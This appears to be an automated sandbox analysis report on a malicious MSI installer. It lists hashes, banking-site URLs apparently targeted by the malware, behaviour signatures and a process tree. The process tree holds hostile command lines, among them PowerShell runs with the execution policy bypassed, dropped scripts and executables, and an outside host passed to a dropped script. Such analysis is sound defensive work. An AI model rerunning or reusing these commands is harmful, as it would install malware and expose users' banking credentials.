Overview

overview

10

Static

static

e519d0a4ba...3e.msi

windows7_x64

7

e519d0a4ba...3e.msi

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    22/11/2021, 18:51

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General

  • Target

    e519d0a4bab2d08e14a5c175d431ce3e.msi

  • Size

    6.1MB

  • MD5

    e519d0a4bab2d08e14a5c175d431ce3e

  • SHA1

    56f8327c426952cb3f85de5927274974c9dc89b8

  • SHA256

    cb3d08dd3044e25627bc2f3e80575495f40fc11442e35a708f3f1eb28b7d82e1

  • SHA512

    43372e37b07d4586f951c7911df635f375f778f9182583cdaafe8bac38e99d42da32534c445c0f2febdda0153682f83956dbcd573d942127aca8ae162ab4f350

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://autoatendimento.bb.com.br/apf-apj-acesso/#/transacao/acesso-empresa/0?v=2.28.10&t=1&tipoCliente=empresa
exe.dropper

https://www2.bancobrasil.com.br/aapf/login.html#/acesso-aapf-agencia-conta

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 12 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\e519d0a4bab2d08e14a5c175d431ce3e.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2644
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:724
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2324
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 23560ACC0382E011B11134E7AA583EAE
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2312
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss9114.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi9111.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr9112.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr9113.txt" -propSep " :<->: " -testPrefix "_testValue."
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2240
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\SGMSXH\RUUYBF.vbs"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1896
          • C:\SGMSXH\PQYNFX.exe
            "C:\SGMSXH\PQYNFX.exe" -f C:\SGMSXH\HOXZOZ
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1512
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy ByPass -File C:\SGMSXH\FNUKDE.ps1 C:\SGMSXH\GRFHME.exe save.nbanamend.com
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2636
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:1964
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3368
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
    1⤵
    • Checks SCSI registry key(s)
    • Modifies data under HKEY_USERS
    PID:3472

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/724-118-0x0000021AD9E00000-0x0000021AD9E02000-memory.dmp

    Filesize

    8KB

    Download

  • memory/724-119-0x0000021AD9E00000-0x0000021AD9E02000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1512-244-0x000000006F250000-0x000000006F276000-memory.dmp

    Filesize

    152KB

    Download

  • memory/1512-230-0x000000006F250000-0x000000006F276000-memory.dmp

    Filesize

    152KB

    Download

  • memory/1512-233-0x0000000000E50000-0x0000000001263000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/1512-240-0x000000006F100000-0x000000006F1FB000-memory.dmp

    Filesize

    1004KB

    Download

  • memory/1512-229-0x000000006F100000-0x000000006F1FB000-memory.dmp

    Filesize

    1004KB

    Download

  • memory/1512-243-0x000000006EB30000-0x000000006EC16000-memory.dmp

    Filesize

    920KB

    Download

  • memory/1512-242-0x000000006EC20000-0x000000006EF15000-memory.dmp

    Filesize

    3.0MB

    Download

  • memory/1512-245-0x0000000000E50000-0x0000000001263000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/1964-358-0x0000000006938000-0x0000000006939000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1964-334-0x0000000006930000-0x0000000006931000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1964-335-0x0000000006932000-0x0000000006933000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1964-356-0x0000000006935000-0x0000000006937000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1964-357-0x0000000006937000-0x0000000006938000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1964-359-0x0000000006939000-0x000000000693A000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1964-360-0x000000000693A000-0x000000000693F000-memory.dmp

    Filesize

    20KB

    Download

  • memory/1964-362-0x0000000008660000-0x0000000008B5E000-memory.dmp

    Filesize

    5.0MB

    Download

  • memory/2240-174-0x000000000AF60000-0x000000000AF61000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-158-0x0000000009D60000-0x0000000009D61000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-151-0x0000000004D30000-0x0000000004D31000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-155-0x00000000097C0000-0x00000000097C1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-156-0x00000000096E0000-0x00000000096E1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-143-0x0000000007F40000-0x0000000007F41000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-142-0x0000000007222000-0x0000000007223000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-141-0x0000000007220000-0x0000000007221000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-144-0x00000000081C0000-0x00000000081C1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-149-0x0000000008A20000-0x0000000008A21000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-140-0x00000000078A0000-0x00000000078A1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-184-0x0000000007223000-0x0000000007224000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-139-0x0000000007230000-0x0000000007231000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-148-0x00000000087D0000-0x00000000087D1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-138-0x0000000004D30000-0x0000000004D31000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-147-0x00000000085A0000-0x00000000085A1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-146-0x0000000008230000-0x0000000008231000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-137-0x0000000004D30000-0x0000000004D31000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-145-0x0000000007FE0000-0x0000000007FE1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-211-0x000000000A5C0000-0x000000000A5C1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-164-0x000000000A8E0000-0x000000000A8E1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2240-157-0x0000000009750000-0x0000000009751000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2312-123-0x0000000000AD0000-0x0000000000AD1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2312-122-0x0000000000AD0000-0x0000000000AD1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2636-332-0x00000000074F3000-0x00000000074F4000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2636-247-0x00000000074F2000-0x00000000074F3000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2636-232-0x0000000004E60000-0x0000000004E61000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2636-231-0x0000000004E60000-0x0000000004E61000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2636-333-0x00000000074F4000-0x00000000074F6000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2636-246-0x00000000074F0000-0x00000000074F1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2644-116-0x00000226007F0000-0x00000226007F2000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2644-117-0x00000226007F0000-0x00000226007F2000-memory.dmp

    Filesize

    8KB

    Download